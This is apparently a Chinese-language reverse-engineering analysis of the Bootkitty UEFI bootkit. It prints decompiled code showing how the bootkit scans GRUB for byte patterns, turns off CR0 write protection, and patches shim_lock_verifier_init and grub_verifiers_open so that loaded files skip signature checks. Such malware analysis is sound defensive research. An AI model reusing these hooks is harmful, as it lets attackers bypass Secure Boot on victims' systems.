.text:0000000000E26CB0 F3 0F 1E FA                                   endbr64
.text:0000000000E26CB4 53                                            push    rbx
.text:0000000000E26CB5 48 89 FB                                      mov     rbx, rdi
.text:0000000000E26CB8 48 83 EC 20                                   sub     rsp, 20h
.text:0000000000E26CBC 8B 87 F0 75 00 00                             mov     eax, [rdi+75F0h]
.text:0000000000E26CC2 83 F8 FF                                      cmp     eax, 0FFFFFFFFh
.text:0000000000E26CC5 74 6B                                         jz      short loc_E26D32
.text:0000000000E26CC7 83 F8 01                                      cmp     eax, 1
.text:0000000000E26CCA 74 5C                                         jz      short loc_E26D28
.text:0000000000E26CCC 48 8B BF D8 75 00 00                          mov     rdi, [rdi+75D8h]
.text:0000000000E26CD3 4C 89 44 24 18                                mov     [rsp+28h+var_10], r8
.text:0000000000E26CD8 48 89 4C 24 10                                mov     [rsp+28h+var_18], rcx
.text:0000000000E26CDD 48 89 54 24 08                                mov     [rsp+28h+var_20], rdx
.text:0000000000E26CE2 48 89 34 24                                   mov     [rsp+28h+var_28], rsi
.text:0000000000E26CE6 E8 95 A6 FF FF                                call    sub_E21380
.text:0000000000E26CEB 31 C0                                         xor     eax, eax
.text:0000000000E26CED 48 8B 34 24                                   mov     rsi, [rsp+28h+var_28]
.text:0000000000E26CF1 48 8B 54 24 08                                mov     rdx, [rsp+28h+var_20]
.text:0000000000E26CF6 48 C7 83 D8 75 00 00 00 00 00                 mov     qword ptr [rbx+75D8h], 0
.text:0000000000E26CF6 00
.text:0000000000E26D01 48 8B 4C 24 10                                mov     rcx, [rsp+28h+var_18]
.text:0000000000E26D06 48 C7 83 E0 75 00 00 00 00 00                 mov     qword ptr [rbx+75E0h], 0
.text:0000000000E26D06 00
.text:0000000000E26D11 4C 8B 44 24 18                                mov     r8, [rsp+28h+var_10]
.text:0000000000E26D16 C7 83 F0 75 00 00 00 00 00 00                 mov     dword ptr [rbx+75F0h], 0
.text:0000000000E26D20 EB 17                                         jmp     short loc_E26D39
.text:0000000000E26D20                               ; ---------------------------------------------------------------------------
.text:0000000000E26D22 66 0F 1F 44 00 00                             align 8
.text:0000000000E26D28
.text:0000000000E26D28                               loc_E26D28:                             ; CODE XREF: __decompress_E26CB0+1A↑j
.text:0000000000E26D28 C7 87 F0 75 00 00 00 00 00 00                 mov     dword ptr [rdi+75F0h], 0
.text:0000000000E26D32
.text:0000000000E26D32                               loc_E26D32:                             ; CODE XREF: __decompress_E26CB0+15↑j
.text:0000000000E26D32 48 8B 83 E0 75 00 00                          mov     rax, [rbx+75E0h]
.text:0000000000E26D39
.text:0000000000E26D39                               loc_E26D39:                             ; CODE XREF: __decompress_E26CB0+70↑j
.text:0000000000E26D39 50                                            push    rax
.text:0000000000E26D3A 48 89 DF                                      mov     rdi, rbx
.text:0000000000E26D3D 45 31 C9                                      xor     r9d, r9d
.text:0000000000E26D40 6A 00                                         push    0
.text:0000000000E26D42 E8 A9 F9 FF FF                                call    sub_E266F0
.text:0000000000E26D47 48 83 C4 30                                   add     rsp, 30h
.text:0000000000E26D4B 5B                                            pop     rbx
.text:0000000000E26D4C C3                                            retn
.text:0000000000E26D4C                               __decompress_E26CB0 endp

通过交叉引用来到调用处

// 猜测decompress_kernel
__int64 __fastcall xx_decompress_kernel_E28420(
        unsigned __int64 a1,
        void (*a2)(void),
        void (__fastcall *a3)(const char *))
{
  // [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]

  __endbr64();
  if ( !qword_E46010 )
  {
    qword_E46010 = (__int64)&unk_E47040;
    qword_E46008 = (__int64)&unk_E47040 + 0x30000;
  }
  v6 = sub_E1E270((int)qword_176C8);
  if ( !v6 )
  {
    a3("Out of memory while allocating zstd_dctx");
    return 0xFFFFFFFFFFFFFFFFLL;
  }
  v7 = (char *)sub_E217C0(v6, qword_176C8);
  if ( !v7 )
  {
    a3("Out of memory while allocating zstd_dctx");
    if ( !--dword_E77050 )
      qword_E77058 = qword_E46010;
    return 0xFFFFFFFFFFFFFFFFLL;
  }
  v28 = sub_E21EE0();
  v8 = sub_E0D340();
  // 猜测__decompress
  if ( v8 || (_decompress_E26CB0(v7, a1, 0x3D9781CuLL, (char *)&dword_52CC, v28), (v8 = sub_E0D340()) != 0) )
  {
    if ( !--dword_E77050 )
      qword_E77058 = qword_E46010;
    if ( v8 >= 0 )
      goto LABEL_9;
    return 0xFFFFFFFFFFFFFFFFLL;
  }
  if ( !--dword_E77050 )
    qword_E77058 = qword_E46010;
LABEL_9:
  v29 = *(_QWORD *)(a1 + 0x18);
  v30 = *(_QWORD *)(a1 + 0x20);
  v31 = *(_QWORD *)(a1 + 0x38);
  // parse_elf

  // ELF magic
  if ( (unsigned int)*(_QWORD *)a1 != 0x464C457F )
    sub_E29310("Kernel is not a valid ELF file");
  v9 = sub_E1E270(0x38 * (unsigned int)(unsigned __int16)v31);
  if ( !v9 )
    sub_E29310("Failed to allocate space for phdrs");
  sub_E28FF0((char *)v9, (char *)(a1 + v30), 0x38LL * (unsigned __int16)v31);
  if ( (_WORD)v31 )
  {
    v11 = v9 + 0x38LL * (unsigned __int16)v31;
    do
    {
      while ( *(_DWORD *)v9 != 1 )
      {
        v9 += 0x38LL;
        if ( v11 == v9 )
          goto LABEL_17;
      }
      if ( ((unsigned int)&byte_1FFFFF & *(_DWORD *)(v9 + 0x30)) != 0 )
        sub_E29310("Alignment of LOAD segment isn't multiple of 2MB");
      v12 = *(_QWORD *)(v9 + 8);
      v13 = *(_QWORD *)(v9 + 0x18);
      v9 += 0x38LL;
      sub_E28FA0(a1 + v13 - 0x1000000, a1 + v12, *(_QWORD *)(v9 - 0x18), v10);
    }
    while ( v11 != v9 );
  }
LABEL_17:
  // handle_relocations
  if ( !--dword_E77050 )
    qword_E77058 = qword_E46010;
  v14 = v29 - 0x1000000;
  v15 = (char *)a2 + 0xFF000000;
  if ( a2 == (void (*)(void))0x1000000 )
    return v14;
  v16 = (int *)(a1 + 0x3D97818);
  v17 = a1 + 0x2D60000;
  v18 = *(int *)(a1 + 0x3D97818);
  for ( i = a1 + 0x7F000000; (_DWORD)v18; v18 = *v16 )
  {
    v20 = (_DWORD *)(i + v18);
    if ( a1 > (unsigned __int64)v20 || v17 < (unsigned __int64)v20 )
      sub_E29310("32-bit relocation outside of kernel!\n");
    v16 += 0xFFFFFFFF;
    *v20 += (_DWORD)v15;
  }
  v21 = v16[0xFFFFFFFF];
  v22 = v16 + 0xFFFFFFFF;
  if ( (_DWORD)v21 )
  {
    while ( 1 )
    {
      v23 = (_DWORD *)(i + v21);
      if ( a1 > (unsigned __int64)v23 || v17 < (unsigned __int64)v23 )
        sub_E29310(&qword_E3E258);
      *v23 -= (_DWORD)v15;
      v21 = v22[0xFFFFFFFF];
      if ( !(_DWORD)v21 )
        break;
      v22 += 0xFFFFFFFF;
    }
  }
  else
  {
    v22 = v16;
  }
  v24 = v22[0xFFFFFFFE];
  for ( j = v22 + 0xFFFFFFFE; (_DWORD)v24; v24 = *j )
  {
    v26 = (_QWORD *)(i + v24);
    if ( a1 > (unsigned __int64)v26 || v17 < (unsigned __int64)v26 )
      sub_E29310("64-bit relocation outside of kernel!\n");
    j += 0xFFFFFFFF;
    *v26 += v15;
  }
  return v14;
}

2、hook shim_lock_verifier_init

__int64 __fastcall hook_grub_2_shim_lock_verifier_init_18000E990(void *ImageBase, unsigned int ImageSize)
{
  // [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]

  v3 = (char *)ImageBase;
  if ( !ImageBase )
    return 0x8000000000000002ui64;
  v4 = (char *)ImageBase + ImageSize - 0xE;
  if ( ImageBase >= v4 )
    return 0x800000000000000Eui64;
  while ( 1 )
  {
    v5 = 0;
    v6 = v3;
    // F3 0F 1E FA 31 D2 48 89 C8 89 11 0F B7 CE

    // .text:0000000000007089                               shim_lock_verifier_init_7089 proc near  ; DATA XREF: .data:0000000000010978↓o
    // .text:0000000000007089 F3 0F 1E FA                                   endbr64
    // .text:000000000000708D 31 D2                                         xor     edx, edx
    // .text:000000000000708F 48 89 C8                                      mov     rax, rcx
    // .text:0000000000007092 89 11                                         mov     [rcx], edx
    // .text:0000000000007094 0F B7 CE                                      movzx   ecx, si
    // .text:0000000000007097 66 83 FE 3E                                   cmp     si, 3Eh ; '>'
    // .text:000000000000709B 77 2F                                         ja      short loc_70CC
    // .text:000000000000709D BA 01 00 00 00                                mov     edx, 1
    // .text:00000000000070A2 48 D3 E2                                      shl     rdx, cl
    // .text:00000000000070A5 48 B9 15 40 08 C0 2F E0 FF 71                 mov     rcx, 71FFE02FC0084015h
    // .text:00000000000070AF 48 85 CA                                      test    rdx, rcx
    // .text:00000000000070B2 75 10                                         jnz     short loc_70C4
    // .text:00000000000070B4 F7 C2 28 02 44 20                             test    edx, 20440228h
    // .text:00000000000070BA 74 10                                         jz      short loc_70CC
    // .text:00000000000070BC C7 00 02 00 00 00                             mov     dword ptr [rax], 2
    // .text:00000000000070C2 EB 25                                         jmp     short loc_70E9
    // .text:00000000000070C4                               ; ---------------------------------------------------------------------------
    // .text:00000000000070C4
    // .text:00000000000070C4                               loc_70C4:                               ; CODE XREF: shim_lock_verifier_init_7089+29↑j
    // .text:00000000000070C4 C7 00 01 00 00 00                             mov     dword ptr [rax], 1
    // .text:00000000000070CA EB 1D                                         jmp     short loc_70E9
    // .text:00000000000070CC                               ; ---------------------------------------------------------------------------
    // .text:00000000000070CC
    // .text:00000000000070CC                               loc_70CC:                               ; CODE XREF: shim_lock_verifier_init_7089+12↑j
    // .text:00000000000070CC                                                                       ; shim_lock_verifier_init_7089+31↑j
    // .text:00000000000070CC 48 BE 0E F2 00 00 00 00 00 00                 mov     rsi, offset aProhibitedBySe ; "prohibited by secure boot policy"
    // .text:00000000000070D6 BF 1E 00 00 00                                mov     edi, 1Eh
    // .text:00000000000070DB 31 C0                                         xor     eax, eax
    // .text:00000000000070DD 48 BA F4 77 00 00 00 00 00 00                 mov     rdx, offset sub_77F4
    // .text:00000000000070E7 FF E2                                         jmp     rdx
    // .text:00000000000070E9                               ; ---------------------------------------------------------------------------
    // .text:00000000000070E9
    // .text:00000000000070E9                               loc_70E9:                               ; CODE XREF: shim_lock_verifier_init_7089+39↑j
    // .text:00000000000070E9                                                                       ; shim_lock_verifier_init_7089+41↑j
    // .text:00000000000070E9 31 C0                                         xor     eax, eax
    // .text:00000000000070EB C3                                            retn
    // .text:00000000000070EB                               shim_lock_verifier_init_7089 endp
    v7 = byte_180012530;
    while ( *v7 == (char)0xCC || *v6 == *v7 )
    {
      v8 = v7[1];
      if ( v8 != (char)0xCC && v6[1] != v8 )
      {
        ++v5;
        break;
      }
      v7 += 2;
      v6 += 2;
      v5 += 2;
      if ( v5 >= 0xE )
        break;
    }
    if ( v5 == 0xE )
      break;
    if ( ++v3 >= v4 )
      return 0x800000000000000Eui64;
  }
  *(_QWORD *)v30 = hook_grub_f2__shim_lock_verifier_init_18000C8A0;
  original_grub_f2_180018250 = v3;
  v10 = gBS->RaiseTPL(0x1Fui64);                // gBS->RaiseTPL()
                                                // EFI_TPL(EFIAPI * EFI_RAISE_TPL) (IN EFI_TPL NewTpl)
                                                // NewTpl   The new task priority level.
  v11 = flags_180018176;
  v12 = original_grub_f2_180018250;
  v13 = v10;
  if ( (flags_180018176 & 1) != 0 && ~(unsigned __int64)backup_original_grub_f2_180018240 < 0xB && !event_flag_18001817B )
  {
    AsciiSPrint_180006A50(
      StartOfBuffer,
      0x200u,
      "ASSERT [%a] %a(%d): %a\n",
      v2,
      COERCE_DOUBLE("D:\\Projects\\Bootkitty-Linux\\edk2\\MdePkg\\Library\\BaseMemoryLib\\CopyMemWrapper.c"),
      0x32i64,
      COERCE_DOUBLE("(Length - 1) <= (0xFFFFFFFFFFFFFFFFULL - (UINTN)DestinationBuffer)"));
    if ( gST )
    {
      ConOut = gST->ConOut;
      if ( ConOut )
        ((void (__fastcall *)(EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL *, char *))ConOut->OutputString)(ConOut, StartOfBuffer);
    }
    v11 = flags_180018176;
    if ( (flags_180018176 & 0x10) != 0 )
    {
      __debugbreak();
    }
    else if ( (flags_180018176 & 0x20) != 0 )
    {
      while ( 1 )
        ;
    }
  }
  if ( (v11 & 1) != 0 && 0xFFFFFFFFFFFFFFFFui64 - (unsigned __int64)v12 < 0xB && !event_flag_18001817B )
  {
    AsciiSPrint_180006A50(
      v32,
      0x200u,
      "ASSERT [%a] %a(%d): %a\n",
      v2,
      COERCE_DOUBLE("D:\\Projects\\Bootkitty-Linux\\edk2\\MdePkg\\Library\\BaseMemoryLib\\CopyMemWrapper.c"),
      0x33i64,
      COERCE_DOUBLE("(Length - 1) <= (0xFFFFFFFFFFFFFFFFULL - (UINTN)SourceBuffer)"));
    if ( gST )
    {
      v15 = gST->ConOut;
      if ( v15 )
        ((void (__fastcall *)(EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL *, char *))v15->OutputString)(v15, v32);
    }
    if ( (flags_180018176 & 0x10) != 0 )
    {
      __debugbreak();
    }
    else if ( (flags_180018176 & 0x20) != 0 )
    {
      while ( 1 )
        ;
    }
  }
  if ( backup_original_grub_f2_180018240 != v12 )
    memmove_1800064F0(backup_original_grub_f2_180018240, v12, 0xCui64);
  v16 = original_grub_f2_180018250;
  v17 = _readcr0_();
  v18 = BYTE2(v17) & 1;
  if ( (v17 & 0x10000) != 0 )
    writecr0_180001010(v17 & 0xFFFFFFFFFFFEFFFFui64);
  v19 = flags_180018176;
  if ( (flags_180018176 & 1) != 0 && 0xFFFFFFFFFFFFFFFFui64 - (unsigned __int64)v16 < 0xB && !event_flag_18001817B )
  {
    AsciiSPrint_180006A50(
      v33,
      0x200u,
      "ASSERT [%a] %a(%d): %a\n",
      v2,
      COERCE_DOUBLE("D:\\Projects\\Bootkitty-Linux\\edk2\\MdePkg\\Library\\BaseMemoryLib\\CopyMemWrapper.c"),
      0x32i64,
      COERCE_DOUBLE("(Length - 1) <= (0xFFFFFFFFFFFFFFFFULL - (UINTN)DestinationBuffer)"));
    if ( gST )
    {
      v20 = gST->ConOut;
      if ( v20 )
        ((void (__fastcall *)(EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL *, char *))v20->OutputString)(v20, v33);
    }
    v19 = flags_180018176;
    if ( (flags_180018176 & 0x10) != 0 )
    {
      __debugbreak();
    }
    else if ( (flags_180018176 & 0x20) != 0 )
    {
      while ( 1 )
        ;
    }
  }
  if ( (v19 & 1) != 0 && ~(unsigned __int64)jmp_rax_trampoline_180012520 < 0xB && !event_flag_18001817B )
  {
    AsciiSPrint_180006A50(
      v34,
      0x200u,
      "ASSERT [%a] %a(%d): %a\n",
      v2,
      COERCE_DOUBLE("D:\\Projects\\Bootkitty-Linux\\edk2\\MdePkg\\Library\\BaseMemoryLib\\CopyMemWrapper.c"),
      0x33i64,
      COERCE_DOUBLE("(Length - 1) <= (0xFFFFFFFFFFFFFFFFULL - (UINTN)SourceBuffer)"));
    if ( gST )
    {
      v21 = gST->ConOut;
      if ( v21 )
        ((void (__fastcall *)(EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL *, char *))v21->OutputString)(v21, v34);
    }
    if ( (flags_180018176 & 0x10) != 0 )
    {
      __debugbreak();
    }
    else if ( (flags_180018176 & 0x20) != 0 )
    {
      while ( 1 )
        ;
    }
  }
  if ( v16 != jmp_rax_trampoline_180012520 )
    memmove_1800064F0(v16, (char *)jmp_rax_trampoline_180012520, 0xCui64);
  if ( v18 )
  {
    v22 = _readcr0_();
    writecr0_180001010(v22 | 0x10000);
  }
  v23 = original_grub_f2_180018250 + 2;
  v24 = _readcr0_();
  v25 = BYTE2(v24) & 1;
  if ( (v24 & 0x10000) != 0 )
    writecr0_180001010(v24 & 0xFFFFFFFFFFFEFFFFui64);
  v26 = flags_180018176;
  if ( (flags_180018176 & 1) != 0 && ~(unsigned __int64)v23 < 7 && !event_flag_18001817B )
  {
    AsciiSPrint_180006A50(
      v32,
      0x200u,
      "ASSERT [%a] %a(%d): %a\n",
      v2,
      COERCE_DOUBLE("D:\\Projects\\Bootkitty-Linux\\edk2\\MdePkg\\Library\\BaseMemoryLib\\CopyMemWrapper.c"),
      0x32i64,
      COERCE_DOUBLE("(Length - 1) <= (0xFFFFFFFFFFFFFFFFULL - (UINTN)DestinationBuffer)"));
    if ( gST )
    {
      v27 = gST->ConOut;
      if ( v27 )
        ((void (__fastcall *)(EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL *, char *))v27->OutputString)(v27, v32);
    }
    v26 = flags_180018176;
    if ( (flags_180018176 & 0x10) != 0 )
    {
      __debugbreak();
    }
    else if ( (flags_180018176 & 0x20) != 0 )
    {
      while ( 1 )
        ;
    }
  }
  if ( (v26 & 1) != 0 && ~(unsigned __int64)v30 < 7 && !event_flag_18001817B )
  {
    AsciiSPrint_180006A50(
      StartOfBuffer,
      0x200u,
      "ASSERT [%a] %a(%d): %a\n",
      v2,
      COERCE_DOUBLE("D:\\Projects\\Bootkitty-Linux\\edk2\\MdePkg\\Library\\BaseMemoryLib\\CopyMemWrapper.c"),
      0x33i64,
      COERCE_DOUBLE("(Length - 1) <= (0xFFFFFFFFFFFFFFFFULL - (UINTN)SourceBuffer)"));
    if ( gST )
    {
      v28 = gST->ConOut;
      if ( v28 )
        ((void (__fastcall *)(EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL *, char *))v28->OutputString)(v28, StartOfBuffer);
    }
    if ( (flags_180018176 & 0x10) != 0 )
    {
      __debugbreak();
    }
    else if ( (flags_180018176 & 0x20) != 0 )
    {
      while ( 1 )
        ;
    }
  }
  if ( v23 != v30 )
    memmove_1800064F0(v23, v30, 8ui64);
  if ( !v25 )
    return ((__int64 (__fastcall *)(EFI_TPL))gBS->RestoreTPL)(v13);
  v29 = _readcr0_();                            // gBS->RaiseTPL()
                                                // EFI_TPL(EFIAPI * EFI_RAISE_TPL) (IN EFI_TPL NewTpl)
                                                // NewTpl   The new task priority level.
  writecr0_180001010(v29 | 0x10000);
  return ((__int64 (__fastcall *)(EFI_TPL))gBS->RestoreTPL)(v13);
}

hook_grub_f2__shim_lock_verifier_init_18000C8A0

shim_lock_verifier_init 功能是 GRUB 内部 shim_lock 验证程序机制的一部分 – 如果启用了 UEFI 安全引导,则应自动激活此功能。它负责决定在引导过程中是否应该验证所提供的文件(例如,GRUB 模块、Linux 内核、配置等)。

hook函数修改了 shim_lock_verifier_init 的返回值,将提供的任何文件类型的输出标志设置为GRUB_VERIFY_FLAGS_SINGLE_CHUNK(值 2),根据 GRUB 手册,这应该会进一步增强安全性。

有趣的是,由于后面hook了grub_verifiers_open,因此 shim_lock_verifier_init 函数在启动期间甚至没有被调用,

// static grub_err_t
// shim_lock_verifier_init (grub_file_t io __attribute__ ((unused)),
//              enum grub_file_type type,
//              void **context __attribute__ ((unused)),
//              enum grub_verify_flags *flags)
__int64 __usercall hook_grub_f2__shim_lock_verifier_init_18000C8A0@<rax>(
        _DWORD *io@<rdi>,
        int type@<esi>,
        void *context@<rdx>,
        int *flags@<rcx>)
{
  // enum grub_verify_flags
  //   {
  //     GRUB_VERIFY_FLAGS_NONE      = 0,
  //     GRUB_VERIFY_FLAGS_SKIP_VERIFICATION = 1,
  //     GRUB_VERIFY_FLAGS_SINGLE_CHUNK  = 2,
  //     /* Defer verification to another authority. */
  //     GRUB_VERIFY_FLAGS_DEFER_AUTH    = 4
  //   };
  *flags = 0;
  // GRUB_VERIFY_FLAGS_SINGLE_CHUNK
  *flags = 2;
  return 0i64;
}

3、hook grub_verifiers_open

__int64 __fastcall hook_grub_3__grub_verifiers_open_18000E380(void *ImageBase, unsigned int ImageSize)
{
  // [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]

  ptr = (char *)ImageBase;
  if ( !ImageBase )
    return 0x8000000000000002ui64;
  v4 = (char *)ImageBase + ImageSize - 0x3B;
  if ( ImageBase >= v4 )
    return 0x800000000000000Eui64;
  // F3 0F 1E FA CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC 48 89 E5 41 57 41 56 41 55 41 54 49 89 FC 53 48 83 EC 28

  // .text:000000000000C5E5                               grub_verifiers_open_C5E5 proc near      ; DATA XREF: sub_C982+4↓o
  // .text:000000000000C5E5
  // .text:000000000000C5E5                               var_44          = dword ptr -44h
  // .text:000000000000C5E5                               var_3C          = dword ptr -3Ch
  // .text:000000000000C5E5                               var_38          = qword ptr -38h
  // .text:000000000000C5E5
  // .text:000000000000C5E5 F3 0F 1E FA                                   endbr64
  // .text:000000000000C5E9 48 B9 6A F9 00 00 00 00 00 00                 mov     rcx, offset aFileSTypeD ; "file: %s type: %d\n"
  // .text:000000000000C5F3 55                                            push    rbp
  // .text:000000000000C5F4 41 89 F1                                      mov     r9d, esi
  // .text:000000000000C5F7 31 C0                                         xor     eax, eax
  // .text:000000000000C5F9 48 BA 7D F9 00 00 00 00 00 00                 mov     rdx, offset aVerify ; "verify"
  // .text:000000000000C603 49 BA 7C A4 00 00 00 00 00 00                 mov     r10, offset sub_A47C
  // .text:000000000000C60D 48 89 E5                                      mov     rbp, rsp
  // .text:000000000000C610 41 57                                         push    r15
  // .text:000000000000C612 41 56                                         push    r14
  // .text:000000000000C614 41 55                                         push    r13
  // .text:000000000000C616 41 54                                         push    r12
  // .text:000000000000C618 49 89 FC                                      mov     r12, rdi
  // .text:000000000000C61B 53                                            push    rbx
  // .text:000000000000C61C 48 83 EC 28                                   sub     rsp, 28h
  for ( i = pattern3__1800124E0 - (_BYTE *)ImageBase; ; --i )
  {
    v6 = 0;
    v7 = ptr;
    do
    {
      v8 = v7[i];
      if ( v8 != (char)0xCC && *v7 != v8 )
        break;
      ++v6;
      ++v7;
    }
    while ( v6 < 0x3B );
    if ( v6 == 0x3B )
      break;
    if ( ++ptr >= v4 )
      return 0x800000000000000Eui64;
  }
  *(_QWORD *)v30 = hook_grub_f3__grub_verifiers_open_18000C8B0;
  original_grub_f3_180018260 = ptr;
  v10 = gBS->RaiseTPL(0x1Fui64);                // gBS->RaiseTPL()
                                                // EFI_TPL(EFIAPI * EFI_RAISE_TPL) (IN EFI_TPL NewTpl)
                                                // NewTpl   The new task priority level.
  v11 = flags_180018176;
  v12 = original_grub_f3_180018260;
  v13 = v10;
  if ( (flags_180018176 & 1) != 0 && ~(unsigned __int64)backup_original_grub_f3_180018230 < 0xB && !event_flag_18001817B )
  {
    AsciiSPrint_180006A50(
      StartOfBuffer,
      0x200u,
      "ASSERT [%a] %a(%d): %a\n",
      v2,
      COERCE_DOUBLE("D:\\Projects\\Bootkitty-Linux\\edk2\\MdePkg\\Library\\BaseMemoryLib\\CopyMemWrapper.c"),
      0x32i64,
      COERCE_DOUBLE("(Length - 1) <= (0xFFFFFFFFFFFFFFFFULL - (UINTN)DestinationBuffer)"));
    if ( gST )
    {
      ConOut = gST->ConOut;
      if ( ConOut )
        ((void (__fastcall *)(EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL *, char *))ConOut->OutputString)(ConOut, StartOfBuffer);
    }
    v11 = flags_180018176;
    if ( (flags_180018176 & 0x10) != 0 )
    {
      __debugbreak();
    }
    else if ( (flags_180018176 & 0x20) != 0 )
    {
      while ( 1 )
        ;
    }
  }
  if ( (v11 & 1) != 0 && 0xFFFFFFFFFFFFFFFFui64 - (unsigned __int64)v12 < 0xB && !event_flag_18001817B )
  {
    AsciiSPrint_180006A50(
      v32,
      0x200u,
      "ASSERT [%a] %a(%d): %a\n",
      v2,
      COERCE_DOUBLE("D:\\Projects\\Bootkitty-Linux\\edk2\\MdePkg\\Library\\BaseMemoryLib\\CopyMemWrapper.c"),
      0x33i64,
      COERCE_DOUBLE("(Length - 1) <= (0xFFFFFFFFFFFFFFFFULL - (UINTN)SourceBuffer)"));
    if ( gST )
    {
      v15 = gST->ConOut;
      if ( v15 )
        ((void (__fastcall *)(EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL *, char *))v15->OutputString)(v15, v32);
    }
    if ( (flags_180018176 & 0x10) != 0 )
    {
      __debugbreak();
    }
    else if ( (flags_180018176 & 0x20) != 0 )
    {
      while ( 1 )
        ;
    }
  }
  if ( backup_original_grub_f3_180018230 != v12 )
    memmove_1800064F0(backup_original_grub_f3_180018230, v12, 0xCui64);
  v16 = original_grub_f3_180018260;
  v17 = _readcr0_();
  v18 = BYTE2(v17) & 1;
  if ( (v17 & 0x10000) != 0 )
    writecr0_180001010(v17 & 0xFFFFFFFFFFFEFFFFui64);
  v19 = flags_180018176;
  if ( (flags_180018176 & 1) != 0 && 0xFFFFFFFFFFFFFFFFui64 - (unsigned __int64)v16 < 0xB && !event_flag_18001817B )
  {
    AsciiSPrint_180006A50(
      v33,
      0x200u,
      "ASSERT [%a] %a(%d): %a\n",
      v2,
      COERCE_DOUBLE("D:\\Projects\\Bootkitty-Linux\\edk2\\MdePkg\\Library\\BaseMemoryLib\\CopyMemWrapper.c"),
      0x32i64,
      COERCE_DOUBLE("(Length - 1) <= (0xFFFFFFFFFFFFFFFFULL - (UINTN)DestinationBuffer)"));
    if ( gST )
    {
      v20 = gST->ConOut;
      if ( v20 )
        ((void (__fastcall *)(EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL *, char *))v20->OutputString)(v20, v33);
    }
    v19 = flags_180018176;
    if ( (flags_180018176 & 0x10) != 0 )
    {
      __debugbreak();
    }
    else if ( (flags_180018176 & 0x20) != 0 )
    {
      while ( 1 )
        ;
    }
  }
  if ( (v19 & 1) != 0 && ~(unsigned __int64)jmp_rax_trampoline_180012520 < 0xB && !event_flag_18001817B )
  {
    AsciiSPrint_180006A50(
      v34,
      0x200u,
      "ASSERT [%a] %a(%d): %a\n",
      v2,
      COERCE_DOUBLE("D:\\Projects\\Bootkitty-Linux\\edk2\\MdePkg\\Library\\BaseMemoryLib\\CopyMemWrapper.c"),
      0x33i64,
      COERCE_DOUBLE("(Length - 1) <= (0xFFFFFFFFFFFFFFFFULL - (UINTN)SourceBuffer)"));
    if ( gST )
    {
      v21 = gST->ConOut;
      if ( v21 )
        ((void (__fastcall *)(EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL *, char *))v21->OutputString)(v21, v34);
    }
    if ( (flags_180018176 & 0x10) != 0 )
    {
      __debugbreak();
    }
    else if ( (flags_180018176 & 0x20) != 0 )
    {
      while ( 1 )
        ;
    }
  }
  if ( v16 != jmp_rax_trampoline_180012520 )
    memmove_1800064F0(v16, (char *)jmp_rax_trampoline_180012520, 0xCui64);
  if ( v18 )
  {
    v22 = _readcr0_();
    writecr0_180001010(v22 | 0x10000);
  }
  v23 = original_grub_f3_180018260 + 2;
  v24 = _readcr0_();
  v25 = BYTE2(v24) & 1;
  if ( (v24 & 0x10000) != 0 )
    writecr0_180001010(v24 & 0xFFFFFFFFFFFEFFFFui64);
  v26 = flags_180018176;
  if ( (flags_180018176 & 1) != 0 && ~(unsigned __int64)v23 < 7 && !event_flag_18001817B )
  {
    AsciiSPrint_180006A50(
      v32,
      0x200u,
      "ASSERT [%a] %a(%d): %a\n",
      v2,
      COERCE_DOUBLE("D:\\Projects\\Bootkitty-Linux\\edk2\\MdePkg\\Library\\BaseMemoryLib\\CopyMemWrapper.c"),
      0x32i64,
      COERCE_DOUBLE("(Length - 1) <= (0xFFFFFFFFFFFFFFFFULL - (UINTN)DestinationBuffer)"));
    if ( gST )
    {
      v27 = gST->ConOut;
      if ( v27 )
        ((void (__fastcall *)(EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL *, char *))v27->OutputString)(v27, v32);
    }
    v26 = flags_180018176;
    if ( (flags_180018176 & 0x10) != 0 )
    {
      __debugbreak();
    }
    else if ( (flags_180018176 & 0x20) != 0 )
    {
      while ( 1 )
        ;
    }
  }
  if ( (v26 & 1) != 0 && ~(unsigned __int64)v30 < 7 && !event_flag_18001817B )
  {
    AsciiSPrint_180006A50(
      StartOfBuffer,
      0x200u,
      "ASSERT [%a] %a(%d): %a\n",
      v2,
      COERCE_DOUBLE("D:\\Projects\\Bootkitty-Linux\\edk2\\MdePkg\\Library\\BaseMemoryLib\\CopyMemWrapper.c"),
      0x33i64,
      COERCE_DOUBLE("(Length - 1) <= (0xFFFFFFFFFFFFFFFFULL - (UINTN)SourceBuffer)"));
    if ( gST )
    {
      v28 = gST->ConOut;
      if ( v28 )
        ((void (__fastcall *)(EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL *, char *))v28->OutputString)(v28, StartOfBuffer);
    }
    if ( (flags_180018176 & 0x10) != 0 )
    {
      __debugbreak();
    }
    else if ( (flags_180018176 & 0x20) != 0 )
    {
      while ( 1 )
        ;
    }
  }
  if ( v23 != v30 )
    memmove_1800064F0(v23, v30, 8ui64);
  if ( !v25 )
    return ((__int64 (__fastcall *)(EFI_TPL))gBS->RestoreTPL)(v13);
  v29 = _readcr0_();                            // gBS->RaiseTPL()
                                                // EFI_TPL(EFIAPI * EFI_RAISE_TPL) (IN EFI_TPL NewTpl)
                                                // NewTpl   The new task priority level.
  writecr0_180001010(v29 | 0x10000);
  return ((__int64 (__fastcall *)(EFI_TPL))gBS->RestoreTPL)(v13);
}

hook_grub_f3__grub_verifiers_open_18000C8B0

GRUB 在打开文件时调用此函数,并负责检查已安装的 GRUB 文件验证程序(包括上述shim_lock验证程序)是否需要对正在加载的文件进行完整性验证。该函数hook后会立即返回而不进行任何签名检查(请注意,这意味着它甚至不执行之前挂接的 shim_lock_verifier_init 函数)。

// static grub_file_t
// grub_verifiers_open (grub_file_t io, enum grub_file_type type)
